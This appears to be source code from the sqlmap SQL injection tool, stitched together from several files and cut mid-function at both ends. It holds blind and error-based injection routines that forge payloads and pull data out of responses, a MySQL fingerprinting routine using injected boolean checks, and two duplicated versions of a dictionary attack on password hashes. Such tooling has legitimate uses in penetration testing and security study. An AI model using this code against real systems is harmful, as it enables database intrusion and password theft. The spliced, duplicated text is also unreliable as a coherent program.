len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(time.time() - charStart, index) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def _oneShotErrorUse(expression, field=None, chunkTest=False): offset = 1 partialValue = None threadData = getCurrentThreadData() retVal = hashDBRetrieve(expression, checkConf=True) if retVal and PARTIAL_VALUE_MARKER in retVal: partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue)) offset += len(partialValue) threadData.resumed = retVal is not None and not partialValue if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode: debugMsg = "searching for error chunk length..." logger.debug(debugMsg) current = MAX_ERROR_CHUNK_LENGTH while current >= MIN_ERROR_CHUNK_LENGTH: testChar = str(current % 10) testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current) result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True)) if result and testChar in result: if result == testChar * current: kb.errorChunkLength = current break else: current = len(result) - len(kb.chars.stop) else: current = current / 2 if kb.errorChunkLength: hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength) else: kb.errorChunkLength = 0 if retVal is None or partialValue: try: while True: check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) trimcheck = "%s(?P<result>[^<]*)" % (kb.chars.start) if field: nulledCastedField = agent.nullAndCastField(field) if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest: extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0) if extendedField != field: # e.g. MIN(surname) nulledCastedField = extendedField.replace(field, nulledCastedField) field = extendedField nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength) # Forge the error-based SQL injection request vector = kb.injection.data[kb.technique].vector query = agent.prefixQuery(vector) query = agent.suffixQuery(query) injExpression = expression.replace(field, nulledCastedField, 1) if field else expression injExpression = unescaper.escape(injExpression) injExpression = query.replace("[QUERY]", injExpression) payload = agent.payload(newValue=injExpression) # Perform the request page, headers = Request.queryPage(payload, content=True, raise404=False) incrementCounter(kb.technique) if page and conf.noEscape: page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page) # Parse the returned page to get the exact error-based # SQL injection output output = reduce(lambda x, y: x if x is not None else y, (\ extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE), \ extractRegexResult(check, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \ None) if output is not None: output = getUnicode(output) else: trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \ if headers else None), re.DOTALL | re.IGNORECASE) \ or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \ if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \ threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE) if trimmed: if not chunkTest: warnMsg = "possible server trimmed output detected " warnMsg += "(due to its length and/or content): " warnMsg += safecharencode(trimmed) logger.warn(warnMsg) if not kb.testMode: check = "(?P<result>.*?)%s" % kb.chars.stop[:2] output = extractRegexResult(check, trimmed, re.IGNORECASE) if not output: check = "(?P<result>[^\s<>'\"]+)" output = extractRegexResult(check, trimmed, re.IGNORECASE) else: output = output.rstrip() if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)): if offset == 1: retVal = output else: retVal += output if output else '' if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest: offset += kb.errorChunkLength else: break if kb.fileReadMode and output: dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t")) else: retVal = output break except: if retVal is not None: hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER)) raise retVal = decodeHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, basestring): retVal = htmlunescape(retVal).replace("<br>", "\n") retVal = _errorReplaceChars(retVal) if retVal is not None: hashDBWrite(expression, retVal) else: _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop) retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal return safecharencode(retVal) if kb.safeCharEncode else retVal
def direct(query, content=True): select = True query = agent.payloadDirect(query) query = agent.adjustLateValues(query) threadData = getCurrentThreadData() if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith( "SELECT ") and " FROM " not in query.upper(): query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith( sqlStatement) and sqlTitle != "SQL SELECT statement": select = False break if select: if re.search(r"(?i)\ASELECT ", query) is None: query = "SELECT %s" % query if conf.binaryFields: for field in conf.binaryFields: field = field.strip() if re.search(r"\b%s\b" % re.escape(field), query): query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query) logger.log(CUSTOM_LOGGING.PAYLOAD, query) output = hashDBRetrieve(query, True, True) start = time.time() if not select and re.search(r"(?i)\bEXEC ", query) is None: timeout(func=conf.dbmsConnector.execute, args=(query, ), duration=conf.timeout, default=None) elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query): output, state = timeout(func=conf.dbmsConnector.select, args=(query, ), duration=conf.timeout, default=None) if state == TIMEOUT_STATE.NORMAL: hashDBWrite(query, output, True) elif state == TIMEOUT_STATE.TIMEOUT: conf.dbmsConnector.close() conf.dbmsConnector.connect() elif output: infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20] logger.info(infoMsg) threadData.lastQueryDuration = calculateDeltaSeconds(start) if not output: return output elif content: if output and isListLike(output): if len(output[0]) == 1: output = [_[0] for _ in output] retVal = getUnicode(output, noneToNull=True) return safecharencode(retVal) if kb.safeCharEncode else retVal else: return extractExpectedValue(output, EXPECTED.BOOL)
def dictionaryAttack(attack_dict): suffix_list = [""] custom_wordlist = [""] hash_regexes = [] results = [] resumes = [] user_hash = [] processException = False foundHash = False for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: hash_regexes.append(regex) infoMsg = "using hash method '%s'" % __functions__[ regex].__name__ logger.info(infoMsg) for hash_regex in hash_regexes: keys = set() attack_info = [] for (user, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue foundHash = True hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): try: item = None if hash_regex not in ( HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}] elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): item = [(user, hash_), {}] elif hash_regex in (HASH.SSHA, ): item = [(user, hash_), { "salt": decodeBase64(hash_, binary=True)[20:] }] elif hash_regex in (HASH.SSHA256, ): item = [(user, hash_), { "salt": decodeBase64(hash_, binary=True)[32:] }] elif hash_regex in (HASH.SSHA512, ): item = [(user, hash_), { "salt": decodeBase64(hash_, binary=True)[64:] }] elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE, ): item = [(user, hash_), {"salt": hash_[-20:]}] elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): item = [(user, hash_), {"salt": hash_[6:14]}] elif hash_regex in (HASH.CRYPT_GENERIC, ): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), { "salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1] }] elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD): item = [(user, hash_), { "salt": hash_.split(':')[-1] }] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), { "salt": hash_.split('$')[1] }] elif hash_regex in (HASH.WORDPRESS, ): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), { "salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12] }] else: warnMsg = "invalid hash '%s'" % hash_ logger.warn(warnMsg) if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) if not resumed: attack_info.append(item) user_hash.append(item[0]) else: infoMsg = "resuming password '%s' for hash '%s'" % ( resumed, hash_) if user and not user.startswith( DUMMY_USER_PREFIX): infoMsg += " for user '%s'" % user logger.info(infoMsg) resumes.append((user, hash_, resumed)) keys.add(hash_) except (binascii.Error, IndexError): pass if not attack_info: continue if not kb.wordlists: while not kb.wordlists: # the slowest of all methods hence smaller default dict if hash_regex in (HASH.ORACLE_OLD, ): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] message = "what dictionary do you want to use?\n" message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[ 0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" choice = readInput(message, default='1') try: if choice == '2': message = "what's the custom dictionary's location?\n" dictPath = readInput(message) if dictPath: dictPaths = [dictPath] logger.info("using custom dictionary") elif choice == '3': message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") dictPaths = [_ for _ in dictPaths if _] for dictPath in dictPaths: checkFile(dictPath) if os.path.splitext(dictPath)[1].lower() == ".zip": _ = zipfile.ZipFile(dictPath, 'r') if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % dictPath raise SqlmapDataException(errMsg) else: _.open(_.namelist()[0]) kb.wordlists = dictPaths except Exception as ex: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % getSafeExString(ex) logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " if readInput(message, default='N', boolean=True): suffix_list += COMMON_PASSWORD_SUFFIXES infoMsg = "starting dictionary-based cracking (%s)" % __functions__[ hash_regex].__name__ logger.info(infoMsg) for item in attack_info: ((user, _), _) = item if user and not user.startswith(DUMMY_USER_PREFIX): custom_wordlist.append(normalizeUnicode(user)) # Algorithms without extra arguments (e.g. salt and/or username) if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD): for suffix in suffix_list: if not attack_info or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count( ) singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() count = _multiprocessing.Value( 'i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process( target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) retVal = _queue.Queue() _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal: if conf.hashDB: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) attack_info = [ _ for _ in attack_info if _[0][0] != user or _[0][1] != hash_ ] hashDBWrite(hash_, word) results.append(item) if conf.hashDB: conf.hashDB.endTransaction() clearConsoleLine() else: for ((user, hash_), kwargs) in attack_info: if processException: break if any(_[0] == user and _[1] == hash_ for _ in results): continue count = 0 found = False for suffix in suffix_list: if found or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count( ) singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() found_ = _multiprocessing.Value('i', False) count = _multiprocessing.Value( 'i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process( target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) found = found_.value != 0 else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) class Value(): pass retVal = _queue.Queue() found_ = Value() found_.value = False _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api) found = found_.value except KeyboardInterrupt: print() processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal and conf.hashDB: if conf.hashDB: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get( block=False) hashDBWrite(hash_, word) results.append(item) if conf.hashDB: conf.hashDB.endTransaction() clearConsoleLine() results.extend(resumes) if foundHash and len(hash_regexes) == 0: warnMsg = "unknown hash format" logger.warn(warnMsg) if len(results) == 0: warnMsg = "no clear password(s) found" logger.warn(warnMsg) return results
def dictionaryAttack(attack_dict): suffix_list = [""] custom_wordlist = [""] hash_regexes = [] results = [] resumes = [] user_hash = [] processException = False foundHash = False for (_, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ regex = hashRecognition(hash_) if regex and regex not in hash_regexes: hash_regexes.append(regex) infoMsg = "using hash method '%s'" % __functions__[regex].func_name logger.info(infoMsg) for hash_regex in hash_regexes: keys = set() attack_info = [] for (user, hashes) in attack_dict.items(): for hash_ in hashes: if not hash_: continue foundHash = True hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_ if re.match(hash_regex, hash_): try: item = None if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): hash_ = hash_.lower() if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): item = [(user, hash_.decode("base64").encode("hex")), {}] elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.APACHE_SHA1): item = [(user, hash_), {}] elif hash_regex in (HASH.SSHA,): item = [(user, hash_), {"salt": hash_.decode("base64")[20:]}] elif hash_regex in (HASH.SSHA256,): item = [(user, hash_), {"salt": hash_.decode("base64")[32:]}] elif hash_regex in (HASH.SSHA512,): item = [(user, hash_), {"salt": hash_.decode("base64")[64:]}] elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES): item = [(user, hash_), {'username': user}] elif hash_regex in (HASH.ORACLE,): item = [(user, hash_), {"salt": hash_[-20:]}] elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW): item = [(user, hash_), {"salt": hash_[6:14]}] elif hash_regex in (HASH.CRYPT_GENERIC,): item = [(user, hash_), {"salt": hash_[0:2]}] elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT): item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}] elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD): item = [(user, hash_), {"salt": hash_.split(':')[-1]}] elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1): item = [(user, hash_), {"salt": hash_.split('$')[1]}] elif hash_regex in (HASH.WORDPRESS,): if ITOA64.index(hash_[3]) < 32: item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}] else: warnMsg = "invalid hash '%s'" % hash_ logger.warn(warnMsg) if item and hash_ not in keys: resumed = hashDBRetrieve(hash_) if not resumed: attack_info.append(item) user_hash.append(item[0]) else: infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_) if user and not user.startswith(DUMMY_USER_PREFIX): infoMsg += " for user '%s'" % user logger.info(infoMsg) resumes.append((user, hash_, resumed)) keys.add(hash_) except (binascii.Error, IndexError): pass if not attack_info: continue if not kb.wordlists: while not kb.wordlists: # the slowest of all methods hence smaller default dict if hash_regex in (HASH.ORACLE_OLD,): dictPaths = [paths.SMALL_DICT] else: dictPaths = [paths.WORDLIST] message = "what dictionary do you want to use?\n" message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0] message += "[2] custom dictionary file\n" message += "[3] file with list of dictionary files" choice = readInput(message, default='1') try: if choice == '2': message = "what's the custom dictionary's location?\n" dictPath = readInput(message) if dictPath: dictPaths = [dictPath] logger.info("using custom dictionary") elif choice == '3': message = "what's the list file location?\n" listPath = readInput(message) checkFile(listPath) dictPaths = getFileItems(listPath) logger.info("using custom list of dictionaries") else: logger.info("using default dictionary") dictPaths = filter(None, dictPaths) for dictPath in dictPaths: checkFile(dictPath) if os.path.splitext(dictPath)[1].lower() == ".zip": _ = zipfile.ZipFile(dictPath, 'r') if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % dictPath raise SqlmapDataException(errMsg) else: _.open(_.namelist()[0]) kb.wordlists = dictPaths except Exception, ex: warnMsg = "there was a problem while loading dictionaries" warnMsg += " ('%s')" % getSafeExString(ex) logger.critical(warnMsg) message = "do you want to use common password suffixes? (slow!) [y/N] " if readInput(message, default='N', boolean=True): suffix_list += COMMON_PASSWORD_SUFFIXES infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].func_name logger.info(infoMsg) for item in attack_info: ((user, _), _) = item if user and not user.startswith(DUMMY_USER_PREFIX): custom_wordlist.append(normalizeUnicode(user)) # Algorithms without extra arguments (e.g. salt and/or username) if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD): for suffix in suffix_list: if not attack_info or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) retVal = Queue() _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api) except KeyboardInterrupt: print processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) attack_info = filter(lambda _: _[0][0] != user or _[0][1] != hash_, attack_info) hashDBWrite(hash_, word) results.append(item) conf.hashDB.endTransaction() clearConsoleLine() else: for ((user, hash_), kwargs) in attack_info: if processException: break if any(_[0] == user and _[1] == hash_ for _ in results): continue count = 0 found = False for suffix in suffix_list: if found or processException: break if suffix: clearConsoleLine() infoMsg = "using suffix '%s'" % suffix logger.info(infoMsg) retVal = None processes = [] try: if _multiprocessing: if _multiprocessing.cpu_count() > 1: infoMsg = "starting %d processes " % _multiprocessing.cpu_count() singleTimeLogMessage(infoMsg) gc.disable() retVal = _multiprocessing.Queue() found_ = _multiprocessing.Value('i', False) count = _multiprocessing.Value('i', _multiprocessing.cpu_count()) for i in xrange(_multiprocessing.cpu_count()): process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api)) processes.append(process) for process in processes: process.daemon = True process.start() while count.value > 0: time.sleep(0.5) found = found_.value != 0 else: warnMsg = "multiprocessing hash cracking is currently " warnMsg += "not supported on this platform" singleTimeWarnMessage(warnMsg) class Value(): pass retVal = Queue() found_ = Value() found_.value = False _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api) found = found_.value except KeyboardInterrupt: print processException = True warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)" logger.warn(warnMsg) for process in processes: try: process.terminate() process.join() except (OSError, AttributeError): pass finally: if _multiprocessing: gc.enable() if retVal: conf.hashDB.beginTransaction() while not retVal.empty(): user, hash_, word = item = retVal.get(block=False) hashDBWrite(hash_, word) results.append(item) conf.hashDB.endTransaction() clearConsoleLine()
def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if not conf.extensiveFp and Backend.isDbmsWithin(MYSQL_ALIASES): setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression( "SESSION_USER() LIKE USER()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) is None: hashDBWrite( HASHDB_KEYS.DBMS_FORK, inject.checkBooleanExpression("VERSION() LIKE '%MariaDB%'") and "MariaDB" or "") # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 # Determine if it is MySQL >= 5.0.0 if inject.checkBooleanExpression( "ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) # Check if it is MySQL >= 5.5.0 if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): Backend.setVersion(">= 5.5.0") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression( "@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)" ): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)" ): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)" ): Backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression( "[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)" ): 